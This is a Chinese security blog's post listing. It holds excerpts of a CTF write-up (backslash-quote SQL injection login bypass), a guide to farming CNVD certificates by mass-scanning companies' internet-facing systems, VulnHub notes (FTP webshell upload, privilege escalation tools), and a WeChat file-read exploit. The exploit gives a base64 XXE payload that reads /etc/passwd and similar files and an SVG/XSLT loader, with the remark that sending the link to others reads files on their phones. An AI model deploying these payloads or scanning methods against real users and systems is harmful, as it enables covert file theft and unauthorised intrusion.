2023TKKCTF——Write up

⚠:如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员,用语会比较口语化,如有不严谨的地方还请见谅 WEB easy_SQL 拿到题第一步先审计代码,这里过滤只有一个clean函数,按照常规有两种解题思路 1.在查pass的地方绕过,在name后输入管理员账号即可。但问题就是,我们现在并没有管理员账号,因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除 2.、在name或pass里插入联合查询,以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况,而且还会出现单/双引号被clean过滤的情况 怎么办呢?我们先把query里的sql语句提取出来做一下研究 SELECT * FROM users WHERE name='".$username."' AND pass='".$password."'; 假设我现在输入的username=admin,password=123,那么就是 SELECT * FROM users WHERE name='admin' AND pass='123'; 这里我们先尝试把AND pass删掉,在username输入\ SELECT * FROM users WHERE name='admin\' AND pass='123'; 为什么这样就叫把AND pass删掉呢?因为原本在admin后的引号被斜杠转义成了内容,丧失了原先用来“框住”字符串的功能,而这个功能已经被pass=后面的引号给替代。此时我们只要在password输入or 1=1 -- ,SQL语句变成 SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123'; 123';就会被注释掉,而这句语句where后面的条件因为or 1=1而100%成立,因此就会执行SELECT * FROM users,即可拿到flag。 这里有个细节需要注意,就是--后面是要带个空格的,一些浏览器会把URL中最后一个空格删掉,因此要手动补一个%20 时光密钥 PS:本题由于容器实例时间校对有错,因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好,多算了二十几秒就开始发包尝试 打开实例,根据提示,先算出合适的时间戳,再用burp抓包修改一下即可 在网上找到现在的时间戳 burp抓包 为了方便操作,我们把数据包发到repeater 更新一下时间戳,预估个比当前时间戳多20到25秒左右的时间放到password,不断点击send直至出现下面所示的cookie即可 根据所给提示里的博客可知,base64解码该cookie即可获得下面结果 将gift值后面的东西进行base32解码即可 ...

December 11, 2023 · 9 min · Red

[技术杂谈]水证书指南

01 CNVD证书获取条件 给没挖过洞的朋友们开个扫盲文 首先CNVD证书的发放条件,这个在官网都有可以自己去看。我下面截取部分主要的。 (1)对于中危及中危以上通用型漏洞(CVSS2.0基准评分超过4.0分)(除小厂商的产品、非重要APP、黑盒测试案例不满10起等不颁发证书)(注:大厂商的判断标准为(注册资金5000万以上,或者案例涉及省部级以上单位的)) (2)涉及电信行业单位(中国移动、中国联通、中国电信及中国铁塔公司)和中央部委级别(不含直属事业单位)的高危事件型漏洞,CNVD将给予原创漏洞证明(即CNVD漏洞证书,电子版),该证明可通过编号在CNVD官方网站进行查询跟踪。时限要求:按周对上一周归档漏洞且满足证书颁发条件的进行批量制作。(每周三或周四颁发证书) 02 寻找目标 如果是手上0洞的小白或者常年SRC低危选手,先不用把目光放在高大上的org、gov。先看看能不能捡什么漏。(经常看到有些师傅们能捡到弱口令之类的,我真怀疑他们就是这个厂商的开发,要不然这种弱口令哪轮得到他们来找。)老实点,先从安全之友爱企查开始好了。 1、首先,根据CNVD证书的颁发要求,我们最基本的肯定要找5000w注册资金的企业。 2、资本类型最好选rmb,外国企业做的软件国内用的肯定比较少 3、关键词可以搜索,“计算机”、“软件”等跟开发有关的关键词这样更容易命中 4、参保人数个人觉得想要卖的多的软件,低于100人的企业基本没这个水平,所以选人多点的吧。 5、有的时候搜出来的企业过多,导致达到爱企查导出上限,那么就细分一些行业和地区,减少搜索结果,分批导出。 有了企业接下来要去找互联网上部署的系统,自然要用到FOFA来查询,本着能白嫖就不自己动手的原则,github上随便搜了一下有很多项目,代码也都大差不差,拿来下改一改。把公司放到文件列表中。 修改的代码主要是两个地方 1、在通过fofa爬取公司软件的时候,需要注意爬出的系统至少要满足10个系统以上,因为即使有漏洞,如果不达到10个案例,按照CNVD的规则也是没有证书的。 2、fofa爬取的很多系统存在脏数据,例如菠菜之类的站点,需要将这部分脏数据去除。 最终爬出来的结果如下 格式以网站title + 公司名 + 例子站点URL组成 接下里就看个人的测试能力了,能不能找到一些中危或以上级别的漏洞了,不过我比较懒,先找找有没有通用RCE漏洞,例如Log4j、Fastjson等。直接搬出我的xray、xpoc、appscan、awvs、afrog、nmap扫一遍,运气比较好,扫到过几次。 还有一种就是通过fofa、hunter之类的测绘平台纯碰运气了 因为很多通用软件title都喜欢使用“管理平台”、“管理系统”等作为title,而且有些系统因为要声明软件著作权,大多会在主页出现“版权所有”的字样,基于上述的总结,下面是我之前比较喜欢用的查询组合,给大家参考。 (title="管理系统" || title="管理平台") && body="版权所有" && title!="路由" && title!="YApi" && title!="防火墙" && title!="安装包" && country="CN" && server!="Microsoft" && host!="com" && host!="net" && host!="cn" && after="2020" 03 报告提交 关于发现漏洞的报告提交,因为我提交的只有通用漏洞,所以只分享一些通用漏洞的提交经验。 1、证明资产是5000w以上的资产,最好的方法就是爱企查、天眼查之类的平台截图证明。 2、如果涉及代码审计的最好给个代码链接,或者详细的代码审计过程 3、资产的查找指纹,最好给出来,这样审核也方便确认是不是10个以上的系统,例如 title=“xxxx” 4、至少有三个互联网复现的案例,这个千万不要偷懒,而且如果复习过程毕竟复杂,建议写详细点,毕竟如果驳回让你重写,那么你要等到重新审核,不知道是猴年马月了。 5、最后证书真的很慢,1-6个月都是正常的。

November 23, 2023 · 1 min · Red

[漏洞分享]微信任意文件读取漏洞

漏洞描述 Libxslt 是基于 WebKit 的浏览器(如 Chrome、Safari 等)中使用的默认 XSL(eXtensible Stylesheet Language)库。Libxslt 允许通过 XSL 的 document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,从 http(s):// URL 中访问 file:// URL,并获得文件访问权限。 在默认沙盒环境下,攻击者可以在 iOS(Safari/Chrome)、Mac(Safari/Chrome)、Android(Chrome)和Samsung TV(默认浏览器)上读取 /etc/hosts(主机)文件。当使用 -no-sandbox 属性时(Electron/PhantomJS),攻击者可以在任何操作系统上读取任何文件。(有趣的是,实测鸿蒙是唯一一个没被影响的系统) 而且微信自带的浏览器是没有开沙箱的,也就是说存在任意文件读取 漏洞复现 先来看看exp.php <?php header("Access-Control-Allow-Origin: *"); echo base64_decode("PD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3htbCIgaHJlZj0iaHR0cDovLzY0OG92OTJndGFtcDFyMHVuYmZ1aXE0djBtNmN1MS5idXJwY29sbGFib3JhdG9yLm5ldCI/Pgo8IURPQ1RZUEUgcCBbCjwhRU5USVRZIHBhc3N3ZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+CjwhRU5USVRZIGhvc3RzIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdHMiPgo8IUVOVElUWSBncm91cCBTWVNURU0gImZpbGU6Ly9sb2NhbGhvc3QvZXRjL2dyb3VwIj4KCl0+IA=="); ?> <p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;">/etc/hosts: &hosts; </p> <p style="border-style: dotted;">/etc/group: &group; </p> </p> 再新建一个 exp.svg 文件在 document引用加载刚才新建的文件exp.php <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" font-size="18" width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <xmp><xsl:copy-of select="document('exp.php')"/></xmp> <script type="text/javascript"> </script> </body> </foreignObject> </svg> </xsl:template> </xsl:stylesheet> 利用上述exp代码在本地搭建一个简单php web服务,在微信把链接发给别人,即可读取到别人手机上的/etc/passwd等敏感信息(下面测试环境是安卓8.0和IOS16.5,均为截至2023.11.22最新版微信) ...

November 22, 2023 · 1 min · Red

[VulnHub]第五章

本期靶场:Hackable3 and Aragog and Me an My girlfriend FTP服务的上传和下载功能 get是下载,put是上传。当你拥有ftp匿名服务时,就可以试试传一句话木马 wpscan 只要碰到wordpress,就扫一扫,反正也花不了多少时间。需要注意的是,一定要定义扫描插件还是主题漏洞。 linpeas.sh 这个工具可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码。一般用来辅助提权,列出有高权限的脚本或代码 pspy64 这个工具可以用于在不需要root权限的情况下窥探进程,获取UID sudo提权 喜闻乐见的sudo提权,具体可以参考前面几章 X-Forwarded-For 如果当前页面告诉你只能在本地访问,那就加上它 平行越权 在url发现id后手痒都会想去试试看的改值,说不定会有意外收获 (好水的一章。。。不过能记录的确实只有这些)

October 28, 2023 · 1 min · Red

[VulnHub]第四章

本章靶场:HarryPotter: Fawkes FTP匿名登录 如果一台机器开启了FTP服务(例如vsftpd),那么第一步要尝试的就是能否进行匿名登录 FTP的匿名登录一般有三种: 1、 用户名:anonymous 密码:Email或者为空 2、 用户名:FTP 密码:FTP或者为空 3、 用户名:USER 密码:pass 二进制文件 当碰到一个二进制文件时,第一反应应该是去尝试运行它。使用ps -aux和grep对进程pid进行监控。或者使用ss -pantu获取socket信息,看到其监听的端口和ip 缓冲区溢出 缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。 而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里可以使用edb-debugger调试工具来动态测试进程,并找出缓存区溢出漏洞的溢出位置。更多有关缓冲区溢出的实验可以看这里 tcpdump 看下面这个例子 tcpdump -i eth0 port 21 可以用来监听eth0网卡的21端口的数据收发状况 sudo提权漏洞 网上有一堆教程,拿到用户后记得去搜一下sudo的CVE

October 26, 2023 · 1 min · Red